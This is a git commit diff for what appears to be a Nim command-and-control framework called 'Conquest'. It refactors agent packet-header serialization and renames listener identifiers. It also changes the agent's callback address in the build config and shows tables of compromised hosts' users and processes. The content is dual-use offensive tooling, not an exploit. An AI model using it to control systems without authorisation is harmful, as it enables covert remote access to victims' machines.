Changed variable names for clearer structure.
This commit is contained in:
@@ -34,15 +34,6 @@ proc serializeHeartbeat*(request: Heartbeat): seq[byte] =
|
|||||||
# TODO: Encrypt check-in / heartbeat request body
|
# TODO: Encrypt check-in / heartbeat request body
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
packer
|
let header = packer.packHeader(request.header, uint32(body.len))
|
||||||
.add(request.header.magic)
|
|
||||||
.add(request.header.version)
|
|
||||||
.add(request.header.packetType)
|
|
||||||
.add(request.header.flags)
|
|
||||||
.add(request.header.seqNr)
|
|
||||||
.add(cast[uint32](body.len))
|
|
||||||
.addData(request.header.hmac)
|
|
||||||
|
|
||||||
let header = packer.pack()
|
|
||||||
|
|
||||||
return header & body
|
return header & body
|
||||||
@@ -243,15 +243,6 @@ proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
|
|||||||
# TODO: Encrypt metadata
|
# TODO: Encrypt metadata
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
packer
|
let header = packer.packHeader(data.header, uint32(metadata.len))
|
||||||
.add(data.header.magic)
|
|
||||||
.add(data.header.version)
|
|
||||||
.add(data.header.packetType)
|
|
||||||
.add(data.header.flags)
|
|
||||||
.add(data.header.seqNr)
|
|
||||||
.add(cast[uint32](metadata.len))
|
|
||||||
.addData(data.header.hmac)
|
|
||||||
|
|
||||||
let header = packer.pack()
|
|
||||||
|
|
||||||
return header & metadata
|
return header & metadata
|
||||||
|
|||||||
@@ -48,16 +48,7 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
|
|||||||
# TODO: Encrypt result body
|
# TODO: Encrypt result body
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
packer
|
let header = packer.packHeader(taskResult.header, uint32(body.len))
|
||||||
.add(taskResult.header.magic)
|
|
||||||
.add(taskResult.header.version)
|
|
||||||
.add(taskResult.header.packetType)
|
|
||||||
.add(taskResult.header.flags)
|
|
||||||
.add(taskResult.header.seqNr)
|
|
||||||
.add(cast[uint32](body.len))
|
|
||||||
.addData(taskResult.header.hmac)
|
|
||||||
|
|
||||||
let header = packer.pack()
|
|
||||||
|
|
||||||
# TODO: Calculate and patch HMAC
|
# TODO: Calculate and patch HMAC
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# Agent configuration
|
# Agent configuration
|
||||||
-d:ListenerUuid="A5466110"
|
-d:ListenerUuid="B10CE89E"
|
||||||
-d:Octet1="172"
|
-d:Octet1="127"
|
||||||
-d:Octet2="29"
|
-d:Octet2="0"
|
||||||
-d:Octet3="177"
|
-d:Octet3="0"
|
||||||
-d:Octet4="43"
|
-d:Octet4="1"
|
||||||
-d:ListenerPort=8888
|
-d:ListenerPort=9999
|
||||||
-d:SleepDelay=5
|
-d:SleepDelay=5
|
||||||
|
|||||||
@@ -125,4 +125,16 @@ proc getVarLengthMetadata*(unpacker: Unpacker): string =
|
|||||||
return ""
|
return ""
|
||||||
|
|
||||||
# Read content
|
# Read content
|
||||||
return unpacker.getBytes(int(length)).toString()
|
return unpacker.getBytes(int(length)).toString()
|
||||||
|
|
||||||
|
proc packHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] =
|
||||||
|
packer
|
||||||
|
.add(header.magic)
|
||||||
|
.add(header.version)
|
||||||
|
.add(header.packetType)
|
||||||
|
.add(header.flags)
|
||||||
|
.add(header.seqNr)
|
||||||
|
.add(bodySize)
|
||||||
|
.addData(header.hmac)
|
||||||
|
|
||||||
|
return packer.pack()
|
||||||
@@ -27,6 +27,7 @@ type
|
|||||||
# Flags should be powers of 2 so they can be connected with or operators
|
# Flags should be powers of 2 so they can be connected with or operators
|
||||||
FLAG_PLAINTEXT = 0'u16
|
FLAG_PLAINTEXT = 0'u16
|
||||||
FLAG_ENCRYPTED = 1'u16
|
FLAG_ENCRYPTED = 1'u16
|
||||||
|
FLAG_COMPRESSED = 2'u16
|
||||||
|
|
||||||
CommandType* = enum
|
CommandType* = enum
|
||||||
CMD_SLEEP = 0'u16
|
CMD_SLEEP = 0'u16
|
||||||
@@ -154,7 +155,7 @@ type
|
|||||||
HTTP = "http"
|
HTTP = "http"
|
||||||
|
|
||||||
Listener* = ref object
|
Listener* = ref object
|
||||||
name*: string
|
listenerId*: string
|
||||||
address*: string
|
address*: string
|
||||||
port*: int
|
port*: int
|
||||||
protocol*: Protocol
|
protocol*: Protocol
|
||||||
|
|||||||
@@ -143,7 +143,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
|||||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
# The following shows the format of the agent configuration file that defines compile-time variables
|
||||||
let config = fmt"""
|
let config = fmt"""
|
||||||
# Agent configuration
|
# Agent configuration
|
||||||
-d:ListenerUuid="{listener.name}"
|
-d:ListenerUuid="{listener.listenerId}"
|
||||||
-d:Octet1="{first}"
|
-d:Octet1="{first}"
|
||||||
-d:Octet2="{second}"
|
-d:Octet2="{second}"
|
||||||
-d:Octet3="{third}"
|
-d:Octet3="{third}"
|
||||||
|
|||||||
@@ -11,11 +11,11 @@ proc delListener(cq: Conquest, listenerName: string) =
|
|||||||
cq.listeners.del(listenerName)
|
cq.listeners.del(listenerName)
|
||||||
|
|
||||||
proc add(cq: Conquest, listener: Listener) =
|
proc add(cq: Conquest, listener: Listener) =
|
||||||
cq.listeners[listener.name] = listener
|
cq.listeners[listener.listenerId] = listener
|
||||||
|
|
||||||
proc newListener*(name: string, address: string, port: int): Listener =
|
proc newListener*(listenerId: string, address: string, port: int): Listener =
|
||||||
var listener = new Listener
|
var listener = new Listener
|
||||||
listener.name = name
|
listener.listenerId = listenerId
|
||||||
listener.address = address
|
listener.address = address
|
||||||
listener.port = port
|
listener.port = port
|
||||||
listener.protocol = HTTP
|
listener.protocol = HTTP
|
||||||
@@ -91,7 +91,7 @@ proc restartListeners*(cq: Conquest) =
|
|||||||
for l in listeners:
|
for l in listeners:
|
||||||
let
|
let
|
||||||
settings = newSettings(
|
settings = newSettings(
|
||||||
appName = l.name,
|
appName = l.listenerId,
|
||||||
debug = false,
|
debug = false,
|
||||||
address = "",
|
address = "",
|
||||||
port = Port(l.port)
|
port = Port(l.port)
|
||||||
@@ -107,7 +107,7 @@ proc restartListeners*(cq: Conquest) =
|
|||||||
try:
|
try:
|
||||||
discard listener.runAsync()
|
discard listener.runAsync()
|
||||||
cq.add(l)
|
cq.add(l)
|
||||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.name} ", resetStyle, fmt"on port {$l.port}.")
|
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on port {$l.port}.")
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
|
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
|
|||||||
conquestDb.exec("""
|
conquestDb.exec("""
|
||||||
INSERT INTO listeners (name, address, port, protocol)
|
INSERT INTO listeners (name, address, port, protocol)
|
||||||
VALUES (?, ?, ?, ?);
|
VALUES (?, ?, ?, ?);
|
||||||
""", listener.name, listener.address, listener.port, $listener.protocol)
|
""", listener.listenerId, listener.address, listener.port, $listener.protocol)
|
||||||
|
|
||||||
conquestDb.close()
|
conquestDb.close()
|
||||||
except:
|
except:
|
||||||
@@ -38,10 +38,10 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
|
|||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|
||||||
for row in conquestDb.iterate("SELECT name, address, port, protocol FROM listeners;"):
|
for row in conquestDb.iterate("SELECT name, address, port, protocol FROM listeners;"):
|
||||||
let (name, address, port, protocol) = row.unpack((string, string, int, string))
|
let (listenerId, address, port, protocol) = row.unpack((string, string, int, string))
|
||||||
|
|
||||||
let l = Listener(
|
let l = Listener(
|
||||||
name: name,
|
listenerId: listenerId,
|
||||||
address: address,
|
address: address,
|
||||||
port: port,
|
port: port,
|
||||||
protocol: stringToProtocol(protocol),
|
protocol: stringToProtocol(protocol),
|
||||||
|
|||||||
@@ -24,16 +24,7 @@ proc serializeTask*(task: Task): seq[byte] =
|
|||||||
# TODO: Encrypt payload body
|
# TODO: Encrypt payload body
|
||||||
|
|
||||||
# Serialize header
|
# Serialize header
|
||||||
packer
|
let header = packer.packHeader(task.header, uint32(payload.len))
|
||||||
.add(task.header.magic)
|
|
||||||
.add(task.header.version)
|
|
||||||
.add(task.header.packetType)
|
|
||||||
.add(task.header.flags)
|
|
||||||
.add(task.header.seqNr)
|
|
||||||
.add(cast[uint32](payload.len))
|
|
||||||
.addData(task.header.hmac)
|
|
||||||
|
|
||||||
let header = packer.pack()
|
|
||||||
|
|
||||||
# TODO: Calculate and patch HMAC
|
# TODO: Calculate and patch HMAC
|
||||||
|
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ proc writeRow(cq: Conquest, row: seq[Cell]) =
|
|||||||
proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
|
proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
|
||||||
|
|
||||||
# Column headers and widths
|
# Column headers and widths
|
||||||
let headers = @["Name", "Address", "Port", "Protocol", "Agents"]
|
let headers = @["UUID", "Address", "Port", "Protocol", "Agents"]
|
||||||
let widths = @[8, 15, 5, 8, 6]
|
let widths = @[8, 15, 5, 8, 6]
|
||||||
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
||||||
|
|
||||||
@@ -110,10 +110,10 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
|
|||||||
|
|
||||||
for l in listeners:
|
for l in listeners:
|
||||||
# Get number of agents connected to the listener
|
# Get number of agents connected to the listener
|
||||||
let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name)
|
let connectedAgents = cq.agents.values.countIt(it.listenerId == l.listenerId)
|
||||||
|
|
||||||
let rowCells = @[
|
let rowCells = @[
|
||||||
Cell(text: l.name, fg: fgGreen),
|
Cell(text: l.listenerId, fg: fgGreen),
|
||||||
Cell(text: l.address),
|
Cell(text: l.address),
|
||||||
Cell(text: $l.port),
|
Cell(text: $l.port),
|
||||||
Cell(text: $l.protocol),
|
Cell(text: $l.protocol),
|
||||||
@@ -160,7 +160,7 @@ proc timeSince*(agent: Agent, timestamp: DateTime): Cell =
|
|||||||
|
|
||||||
proc drawTable*(cq: Conquest, agents: seq[Agent]) =
|
proc drawTable*(cq: Conquest, agents: seq[Agent]) =
|
||||||
|
|
||||||
let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
|
let headers: seq[string] = @["UUID", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
|
||||||
let widths = @[8, 15, 15, 15, 16, 13, 5, 8]
|
let widths = @[8, 15, 15, 15, 16, 13, 5, 8]
|
||||||
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user